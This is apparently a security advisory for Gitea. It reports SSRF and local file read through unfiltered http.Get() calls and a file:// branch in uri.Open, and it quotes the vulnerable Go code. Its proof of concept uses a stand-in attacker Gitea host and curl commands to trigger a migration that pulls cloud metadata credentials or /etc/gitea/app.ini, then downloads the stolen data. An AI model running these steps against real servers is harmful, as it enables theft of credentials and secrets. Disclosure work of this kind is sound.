GHSA-2wm4-vwp6-v7xc

### Summary Gitea has robust SSRF protection via `hostmatcher.NewDialContext()` for webhook and migration clone URLs, which validates resolved IPs at the TCP dial level. However, three code paths use raw `http.Get()` (Go's `DefaultClient`) which completely bypasses this protection, enabling SSRF to internal services and local file read via the `file://` scheme. ### Vulnerable Code **File: `modules/uri/uri.go` (line 32) -- Core vulnerability** ```go func Open(uriStr string) (io.ReadCloser, error) { u, err := url.Parse(uriStr) switch strings.ToLower(u.Scheme) { case "http", "https": f, err := http.Get(uriStr) // RAW http.Get -- no hostmatcher filtering return f.Body, nil case "file": return os.Open(u.Path) // LOCAL FILE READ via file:// scheme } } ``` **Callers in migration path:** - `services/migrations/gitea_uploader.go:340` -- `uri.Open(*asset.DownloadURL)` for release assets - `services/migrations/gitea_uploader.go:586` -- `uri.Open(pr.PatchURL)` for PR patches **File: `services/migrations/dump.go` (lines 312, 453)** ```go // Line 312 -- release asset download resp, err := http.Get(*asset.DownloadURL) // Line 453 -- PR patch download (with self-documenting TODO) resp, err := http.Get(u) // TODO: This probably needs to use the downloader ``` **File: `routers/web/auth/oauth.go` (line 306)** ```go func oauth2UpdateAvatarIfNeed(ctx *context.Context, url string, u *user_model.User) { resp, err := http.Get(url) // RAW http.Get -- no hostmatcher ``` **Contrast with protected migration clone (same codebase):** ```go // services/migrations/migrate.go:526 -- PROTECTED with hostmatcher transport.DialContext = hostmatcher.NewDialContext("migration", allowList, blockList, ...) ``` ### PoC ```bash # Step 1: Set up attacker Gitea instance with malicious release asset URLs # Create a repo on evil.gitea.attacker.com with a release asset whose # download_url points to internal services: # Asset DownloadURL set to: http://169.254.169.254/latest/meta-data/iam/security-credentials/role # Or: file:///etc/gitea/app.ini (local file read) # Step 2: Admin triggers migration from attacker's Gitea instance curl -s -X POST "https://target-gitea.com/api/v1/repos/migrate" \ -H "Authorization: token ADMIN_API_TOKEN" \ -H "Content-Type: application/json" \ -d '{ "clone_addr": "https://evil.gitea.attacker.com/user/repo.git", "repo_name": "migrated-repo", "repo_owner": "admin", "service": "gitea" }' # Step 3: During migration, Gitea downloads release assets using unfiltered http.Get() # Cloud metadata is saved as the release asset attachment in the migrated repo # Or app.ini contents (with DB credentials, JWT secrets) are saved via file:// scheme # Step 4: Attacker accesses the migrated repo's release assets to retrieve stolen data curl -s "https://target-gitea.com/admin/migrated-repo/releases/download/v1.0/stolen-metadata.txt" ``` ### Impact - **Cloud metadata theft:** `169.254.169.254` reachable via unfiltered `http.Get()` (AWS IMDSv1 credentials, GCP tokens) - **Local file read:** `file://` scheme in `uri.Open()` reads `/etc/gitea/app.ini` (database credentials, JWT signing secrets, SMTP passwords) - **Internal service scanning:** Reach `127.0.0.1`, `10.x`, `172.16-31.x`, `192.168.x` networks - **Bypasses existing SSRF protection:** The `hostmatcher` dialer is comprehensive but only applied to webhook and clone transports -- these three paths are unprotected - Migration vectors require migration permission (admin/org owner); OAuth vector requires admin-configured custom OAuth2 source